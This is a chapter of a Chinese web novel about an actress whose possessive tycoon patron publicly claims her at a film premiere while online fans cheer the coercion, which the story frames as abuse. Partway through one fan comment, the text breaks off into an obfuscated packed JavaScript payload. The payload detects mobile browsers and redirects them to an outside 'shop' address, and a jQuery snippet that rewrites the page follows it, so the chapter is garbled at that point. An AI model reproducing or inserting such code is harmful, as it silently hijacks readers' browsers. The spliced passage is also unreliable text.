由备采间通往红毯候场区的长廊，铺着厚重的绛红色吸音地毯，像是名利场上谁人心头蜿蜒出的动脉，踩上去软绵绵的，没有任何回音，正如商颂此刻漂浮无依的灵魂。
周彻始终揽着她的腰。
与其说是揽，不如说是掌控。他的手掌很大，虎口正好卡在她纤细的腰窝处，透过薄如蝉翼的礼服面料，那股滚烫的体温源源不断地渗透进来，熨烫着她冰凉的肌肤，也提醒着她——这条锁链，她是挣不脱的。
“手心怎么这么多汗？”周彻突然低头，凑在她耳廓边轻语，“刚才对着旧情人，心跳还没平复？”
商颂的脚步顿了一下，又立刻被迫跟上他的节奏。她低声道：“不是，是冷气太足了。”
“是么。”周彻不置可否地轻嗤一声，手指漫不经心地在她腰间的软肉上摩挲了两下，像是在抚摸一只随时会受惊应激的宠物猫，“最好是冷气的原因。商颂，我不喜欢我不用的东西，被别人惦记着；更不喜欢我的东西，心里还装着别的买主。”
“知道了。”她乖顺地应答，长睫低垂。
红毯尽头，声浪如潮水般铺天盖地袭来。
在这个浮华的夜晚，聚光灯会将所有人的毛孔都无限放大。这里是造神的圣殿，也是毁神的刑场。
商颂被周彻松开的那一刻，感觉后背一阵空落落的寒意。
“去吧。”周彻随手理了理并未乱的袖口，那枚深海蓝宝石袖扣在灯光下像是深海里捕食者的眼睛，“你是今晚最漂亮的那个。记住，这不仅是你的荣光，也是我的脸面。”
他站在阴影交界处，并没有要以前投资人身份一同走红毯的意思。这让商颂紧绷的神经稍稍松了一线。
只要他不出现，这戏或许还能唱得体面些。
商颂深吸一口气，调整出那副练习了千万遍的完美笑容，提着裙摆踏入了那片能把人眼晃瞎的闪光灯海。
与此同时，前方红毯区刚刚结束了一阵撕心裂肺的尖叫。
是伯雪寻。
他对于他的粉丝籽爱来说是天上月，是水中花。
而对自己，又何尝不是？
所有的主创人员都在采访区汇合。
《他者女人的窥镜》是新锐女导演段南桥执镜，冲着国际奖项去的文艺片，阵容堪称豪华。伯雪寻站在最左侧，眉目清冷；商颂站在最右侧，美艳不可方物。中间隔着老戏骨和制片人，如同一条无法逾越的银河。
现场的主持人极具煽动性，举着话筒笑着问：“刚刚我们在红毯上看到伯老师和商老师的造型，简直是‘惊艳’二字的完美诠释啊。这次二位在戏里的关系也充满张力，听说是一段非常禁忌的拉扯？”
伯雪寻微微颔首，拿起话筒，“是，剧本里是一段在绝望中寻找出口的关系。”
他没有看商颂。
商颂也没有看他。
两人像是两条永不相交的平行线，共同在这个巨大的谎言里维持着摇摇欲坠的体面。
“我们都知道这部戏还有一个最大的悬念，”主持人眼中闪烁着八卦的光芒，语气变得夸张，“男二号那个著名的‘疯子资本家’角色，导演您一直藏着掖着，说是要等到开机发布会才公布。但今晚这么多媒体在场，不给大家透露一点惊喜吗？”
听到那个角色设定的瞬间，商颂的心脏猛地漏跳了一拍。
疯子。资本家。病态的占有欲。
这个角色……当初看剧本的时候，她就觉得那种阴鸷的底色像极了某个人，甚至让她在读剧本时一度产生生理性的恶心。
段南桥目光下意识地往台下的贵宾席瞟了一眼。
“其实今天我们确实准备了一个特别的环节。关于男二号‘周先生’的人选，原本我们接触了几位影帝，但最后有一位意想不到的人选，他说他想亲自诠释这种极致的爱。”
极致的爱？
不，那是极致的癌。
商颂还没反应过来导演话里的意思，原本喧闹的会场突然诡异地安静了一瞬。
接着，一阵沉稳、缓慢，却如同踩在人心尖上的皮鞋叩地声响起。
一抹高大挺拔的身影从阴影中缓缓走出。
剪裁考究的炭灰色意式手工西装，里面没有搭配领带，而是解开了衬衫的前两颗扣子，露出精致冷硬的锁骨。
他甚至没做发型，几缕发丝垂在额前，遮住了眉宇间的戾气，显得斯文败类到了极致，也英俊到了极致。
全场哗然。
“周氏集团的掌权人？那个掌握着娱乐圈半壁江山生杀大权的周大少？”
“他怎么上台了？是作为最大投资方来剪彩？”
“他不也是艺人吗？是SOLAR乐队的贝斯手啊！”
在无数道震惊的目光中，周彻径直走到了商颂身边。
他没有看主持人，也没有看那些疯狂闪烁的镜头，而是侧过头，对着已经面无人色的商颂微微一笑。
然后，他伸出手，自然地从商颂手中拿走了那只话筒。
他的指腹温热，擦过她冰冷的手指，像是交换了一个潮湿而危险的秘密。
“我也很好奇，”周彻的声音低沉磁性，带着一种浑然天成的上位者气息，“这世界上，还有谁比我更懂得怎么去演绎‘占有’？”
全场死一般的寂静，紧接着是媒体们疯了一样的按动快门声。
“正式介绍一下，”周彻嘴角噙着一抹残忍而愉悦的笑意。
“我是周彻。也是电影里，那位毁掉一切的——周先生。”
这是示威。
也是宣战。
伯雪寻眸光晦暗。周彻不仅抢走了他深爱的人，甚至连最后这片让他栖息的“艺术领地”也要一并践踏。周彻要在这部电影里，当着全世界观众的面，堂而皇之地继续禁锢商颂，演绎那种病态的关系，把现实里的霸凌搬上银幕，供人观赏。
“周先生……这……”主持人虽然经验丰富，也被这核弹级的消息炸得语无伦次，“您是说，您要亲自出演男二号？和商老师有大量对手戏？”
“是有很多。”周彻笑了，忽然点名，声音温和得有些渗人，“伯老师，听说你在戏里饰演那个想要带她逃跑的刑警？那在片场，可要多担待了。毕竟——”
他俯下身，在万众瞩目之下，那个吻极轻地落在了商颂的发顶。
“她是逃不掉的。”
无论是戏里，还是戏外。
商颂在那一刻听到了细微而清脆的声音，像是手里最后那根火柴彻底熄灭。
红毯周围的闪光灯疯狂闪烁，将这一幕定格成了明日震惊娱乐圈的头条。
——《豪门巨鳄跨界首秀，为爱入局还是偏执占有？》
商颂缩在真皮座椅的角落里，手机在手包里疯狂震动，那种持续不断的嗡鸣声，像是数以亿计的窥探目光正试图通过那个小小的屏幕钻出来，将她拆吃入腹。
“怎么不看？”
周彻靠在另一侧，姿态闲适，“热搜爆了，商颂。大家都在为我们庆祝。”
他侧过身，那一星半点的车窗流光掠过他的眼底，照亮了里面某种病态的愉悦。他将自己的手机递到商颂面前。
商颂被迫垂下眼睫。
有关他们的热搜词条实时变成猩红色，旁边跟着一个令人触目惊心的“爆”字。
#周彻出演男二#
#真豪门霸总撕书式演技#
#周彻商颂性张力#
#心疼伯雪寻#
在这个娱乐至死的年代，并没有人会因为这种赤|裸|裸的权势压迫感到恐惧，相反，他们像是在看一出不需要门票的罗马角斗场野兽吞噬，为了那种畸形的刺激而欢呼雀跃。
第一条热评的点赞数已经超过了六十万。
配图正是刚才周彻揽着她，当众在那满堂权贵面前宣告“她是逃不掉的”那一瞬间的抓拍。
镜头极其刁钻，虚化了周遭所有喧嚣，只留下了周彻那双极具侵略性的眼眸，和商颂那一低头的战栗。
【卧槽！周彻那个眼神杀我！什么叫斯文败类，什么叫病娇强制爱！小说男主瞬间有脸了！】
【天呐，原本以为商颂只是花瓶，结果周大少一站她旁边，那种“你是我的掌中物”的氛围感简直拉满了！我想看他们演床戏，是真的那种！】
【前面的姐妹别穿裤子，导演刚才不是说了吗？“极致的占有”，这暗示还不够明显吗？周大少就是去公费恋爱的啊！】
【有没有人注意刚才伯雪寻的表情？太虐了，真的像一条被淋湿的小狗。可是对不起哥哥，我想嗑邪教，资本大鳄x金丝雀，这种设定谁能忍住不嗑啊！】
【貌似明天就围读进组了，商颂还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126690|196108||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好吧？感觉状态不太行啊。】
全网都在这一刻沦为这所谓“唯美”爱情的帮凶。他们欢呼雀跃地将裹着糖衣的砒霜塞进嘴里，甚至还因为那甜蜜的糖衣，转而嘲笑那个真正想要救她的人太过孱弱。
恶心。
又荒谬。
“看，这就是人心。”
周彻不知何时已经凑了过来。
他温热的气息拂过商颂敏感的耳廓，指尖挑起她颊边那缕被汗水沾湿的发丝，耐心地帮她别到耳后，动作极尽缱绻。
“他们不在乎你是不是真的恐惧，不在乎你是不是想要逃跑。”周彻的指腹摩挲着她颤抖的颈侧，声音低沉，带着一丝残忍的循循善诱，“他们只看得到这一刻的‘美’。商颂，你那种窒息的样子，在他们眼里，是情动，是依附，是离不开我。”
商颂蹙眉，喃喃道：“这太畸形了。”
“畸形？”
周彻轻笑出声，那笑意并未抵达眼底，反而激起一阵森然的寒意。
他按灭了手机屏幕，将商颂整个人圈进自己宽阔的怀里，下巴搁在她的肩窝处，透过窗户看向外面看似繁华实则冷漠的世界。
“在这个圈子里，资本即真理，强权即真相。”
周彻收紧了手臂，让两人贴得严丝合缝。
“刚才我在后台看数据，微博服务器瘫痪了三次。所有关于这部电影的讨论度，在一瞬间超过了过去三年的总和。投资方在这个小时内追加了三个亿。”
他偏过头，在那截白腻的脖颈上轻咬了一口，满意的感觉到怀里的人剧烈的颤抖。
“商颂，这就是我要给你的惊喜。你不需要费尽心思去琢磨那个剧本，不需要去体验什么是‘被禁锢的绝望’。我们不需要演。”
周彻抬起手，将那一串随着车身晃动而丁零作响的蛇形耳链轻轻一拨。
“因为接下来的每一天，在片场的每一分每一秒，甚至在镜头之外——”
“所有观众，都会成为我们Play的一环。他们在热搜上每欢呼一次，每喊一句‘嗑到了’，就是在替我，往这笼子上多加一把锁。”
“你听，”周彻低笑，抬起商颂那只被冷汗浸湿的手，贴在自己的胸口，“现在全世界都觉得，你生来就是属于我的。”
商颂绝望地闭上了眼睛。
黑暗中，她仿佛看到伯雪寻那个苍白的影子，正一点点被这滚烫的、狂热的、充满恶意的网络舆论浪潮吞没。
那些点赞，那些转发，那些尖叫。
它们不是鲜花，是雪崩时没有一片无辜的雪花，正争先恐后地，将她和过去的世界彻底埋葬。
而在伯雪寻超话的评论区里，无数原本属于他的粉丝，正在“理智”地劝导：
【寻寻咱们算了吧，周家那位真惹不起。】
【虽然心疼哥哥，但是有一说一，资本和打工人的壁垒真的太厚了。】
【周大少那个气场太绝了，站在那里就是食物链顶端，伯老师看着真的好可怜……】
可怜。
又是可怜。
三年前，他没钱，商颂要为了钱离开他，他可怜。
三年后，他成了顶流，以为站在了聚光灯下就能护住她，结果在周彻这种真正的资本巨鳄面前，他依旧只是一个“可怜”的戏子。
连他在红毯上强撑出的最后一丝体面，都在那铺天盖地的“嗑疯了”的评论里，变成了一场供人娱乐的独角戏。
“雪寻，别看了。”经纪人江寄实在不忍心，伸手想要拿走平板，“今晚的热搜我会让人降热度的，那部戏要不咱们违约赔钱吧？不演了。那个周彻摆明了就是冲着羞辱你来的。”
伯雪寻没动。
他的目光死死盯着画面里那个依偎在周彻怀里的女人。尽管只有短短几秒，尽管她的背挺得那么直，可他看到了。
她在求救。
“不。”
“这戏，我接。”
“既然他想演，”伯雪寻缓缓抬起头，看向窗外那座灯火通明的城市，那是周彻的领地，是吞噬了商颂青春与自由的沼泽，“那我就陪他演到底。”
他周彻能掌控资本，能操控舆论，能让全天下以为这是一种畸形又唯美的浪漫。
但他伯雪寻只要站在镜头前，就要让所有人看看，那不是爱。
那是罪。